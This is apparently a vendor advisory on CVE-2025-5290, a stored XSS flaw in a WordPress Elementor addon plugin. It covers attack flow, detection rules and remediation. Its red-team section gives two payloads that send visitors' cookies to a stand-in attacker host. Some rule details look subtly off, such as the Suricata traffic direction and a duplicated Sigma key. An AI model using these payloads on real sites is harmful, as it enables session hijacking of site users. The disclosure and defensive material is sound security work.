CVE-2025-5290

Executive Summary

CVE-2025-5290 is a Stored Cross-Site Scripting (XSS) vulnerability in the Borderless – Elementor Addons and Templates WordPress plugin, affecting all versions up to and including 1.7.1. The flaw resides in the title parameter, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, leading to potential session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for widespread impact within a WordPress site. No public exploit code or patch details are currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor (Borderless). Since no patch is available, consider disabling the plugin or implementing a Web Application Firewall (WAF) rule to block malicious input.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires Contributor-level access.
• User Interaction (UI): Required (R) – Victim must visit the injected page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The need for authentication reduces the attack surface, but the stored nature of the XSS means any user (including admins) visiting the page is at risk.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin ecosystem. The title parameter, likely used in Elementor widgets or templates, is not properly sanitized before being stored in the database. When the page is rendered, the unsanitized input is echoed back to the browser without proper escaping, allowing JavaScript execution.

Attack Flow:

1. An attacker with Contributor-level access logs into WordPress.
2. The attacker creates or edits a page/post using the Borderless plugin.
3. The attacker injects a malicious payload into the title field, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the WordPress database.
5. When any user (including admins) visits the page, the script executes in their browser.

Root Cause: The plugin uses echo $title; instead of echo esc_html($title); or similar escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (v1.7.1 and earlier):

// In a template or widget file
echo $title; // No escaping

Patched Code (hypothetical fix):

// Proper escaping
echo esc_html($title);

The fix should also include input validation using sanitize_text_field() or wp_kses_post() depending on the allowed HTML.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Borderless plugin v1.7.1.
• Contributor-level account credentials.

Steps:

1. Log in to WordPress as a Contributor.
2. Navigate to Pages > Add New.
3. Add a Borderless Elementor widget (e.g., a heading or title block).
4. In the title field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the page.
6. Wait for an admin or other user to visit the page. The script will execute, sending cookies to the attacker.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Response)

Detection:

• Monitor WordPress logs for unusual page edits by Contributor-level users.
• Use a WAF to block common XSS patterns in POST parameters.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Response:

1. Identify and remove malicious pages/posts.
2. Reset all user sessions.
3. Review user roles and permissions; downgrade suspicious accounts.
4. Apply virtual patching via WAF until an official patch is released.

Indicators of Compromise (IOCs)

• File Hashes (plugin files): Unknown (no patch available).
• Network Indicators:
  • Outbound requests to attacker-controlled domains from WordPress.
  • Suspicious title parameter values in HTTP POST requests to /wp-admin/post.php.
• Log Entries:
  • wp-content/plugins/borderless/ file modifications.
  • Database entries in wp_posts with post_content containing <script> tags.
• Behavioral:
  • Unexpected JavaScript execution on WordPress pages.
  • Cookie theft or session hijacking attempts.

Detection Engineering

YARA Rule

rule CVE_2025_5290_Stored_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-5290 in Borderless plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-5290"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $plugin_path = "borderless"
    condition:
        $plugin_path and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2025-5290 Stored XSS in Borderless Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the title parameter in Borderless Elementor Addons
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'borderless'
        cs-uri-query|contains: 'title'
        cs-uri-query|re: '(<script|<img.*onerror|<svg.*onload)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page titles (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5290 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"borderless"; http_uri; content:"title"; http_client_body; pcre:"/(<script|<img.*onerror|<svg.*onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Apply virtual patching via WAF to block XSS payloads in the title parameter.
3. Review and restrict user roles – only grant Contributor access to trusted users.

Long-term Fix:

• Monitor the vendor’s website for an official patch (version > 1.7.1).
• Once patched, update the plugin immediately.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workaround:

• Use a security plugin like Wordfence to add an additional layer of input sanitization.

Valters IT
Securing Digital Frontiers